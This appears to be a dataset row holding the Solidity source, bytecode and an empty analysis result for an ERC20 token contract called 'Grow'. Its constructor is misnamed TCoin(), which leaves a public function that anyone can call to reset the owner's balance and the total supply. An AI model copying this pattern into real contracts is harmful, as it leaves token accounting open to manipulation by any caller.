0xd4b4796d9e70feba3606274fe0142fe64bf13f7f | pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Grow Token.
*/
contract Grow is StandardToken, Ownable {
string public name = "GROW";
string public symbol = "GROW";
uint public decimals = 8;
string public version = "1.0";
function TCoin() public {
totalSupply_ = 9000000000 * 10 ** 8;
balances[owner] = totalSupply_;
}
function () public {
revert();
}
} | 0x6060604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea578063095ea7b31461017457806318160ddd146101aa57806323b872dd146101cf578063313ce567146101f757806354fd4d501461020a578063661884631461021d57806370a082311461023f5780638da5cb5b1461025e57806395d89b411461028d578063a9059cbb146102a0578063d73dd623146102c2578063dd62ed3e146102e4578063f2fde38b14610309578063f7fd2e191461032a575b34156100e557600080fd5b600080fd5b34156100f557600080fd5b6100fd61033d565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610139578082015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017f57600080fd5b610196600160a060020a03600435166024356103db565b604051901515815260200160405180910390f35b34156101b557600080fd5b6101bd610447565b60405190815260200160405180910390f35b34156101da57600080fd5b610196600160a060020a036004358116906024351660443561044d565b341561020257600080fd5b6101bd6105cd565b341561021557600080fd5b6100fd6105d3565b341561022857600080fd5b610196600160a060020a036004351660243561063e565b341561024a57600080fd5b6101bd600160a060020a0360043516610738565b341561026957600080fd5b610271610753565b604051600160a060020a03909116815260200160405180910390f35b341561029857600080fd5b6100fd610762565b34156102ab57600080fd5b610196600160a060020a03600435166024356107cd565b34156102cd57600080fd5b610196600160a060020a03600435166024356108df565b34156102ef57600080fd5b6101bd600160a060020a0360043581169060243516610983565b341561031457600080fd5b610328600160a060020a03600435166109ae565b005b341561033557600080fd5b610328610a49565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103d35780601f106103a8576101008083540402835291602001916103d3565b820191906000526020600020905b8154815290600101906020018083116103b657829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b6000600160a060020a038316151561046457600080fd5b600160a060020a03841660009081526020819052604090205482111561048957600080fd5b600160a060020a03808516600090815260026020908152604080832033909416835292905220548211156104bc57600080fd5b600160a060020a0384166000908152602081905260409020546104e5908363ffffffff610a7416565b600160a060020a03808616600090815260208190526040808220939093559085168152205461051a908363ffffffff610a8616565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610560908363ffffffff610a7416565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b60065481565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103d35780601f106103a8576101008083540402835291602001916103d3565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561069b57600160a060020a0333811660009081526002602090815260408083209388168352929052908120556106d2565b6106ab818463ffffffff610a7416565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103d35780601f106103a8576101008083540402835291602001916103d3565b6000600160a060020a03831615156107e457600080fd5b600160a060020a03331660009081526020819052604090205482111561080957600080fd5b600160a060020a033316600090815260208190526040902054610832908363ffffffff610a7416565b600160a060020a033381166000908152602081905260408082209390935590851681522054610867908363ffffffff610a8616565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610917908363ffffffff610a8616565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a039081169116146109c957600080fd5b600160a060020a03811615156109de57600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b670c7d713b49da00006001819055600354600160a060020a0316600090815260208190526040902055565b600082821115610a8057fe5b50900390565b600082820183811015610a9557fe5b93925050505600a165627a7a72305820c99e80808d0e29e04d62a1f1889169c9b19887fba43abf8584902c0b76573b540029 | {"success": true, "error": null, "results": {}} | 10,699 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.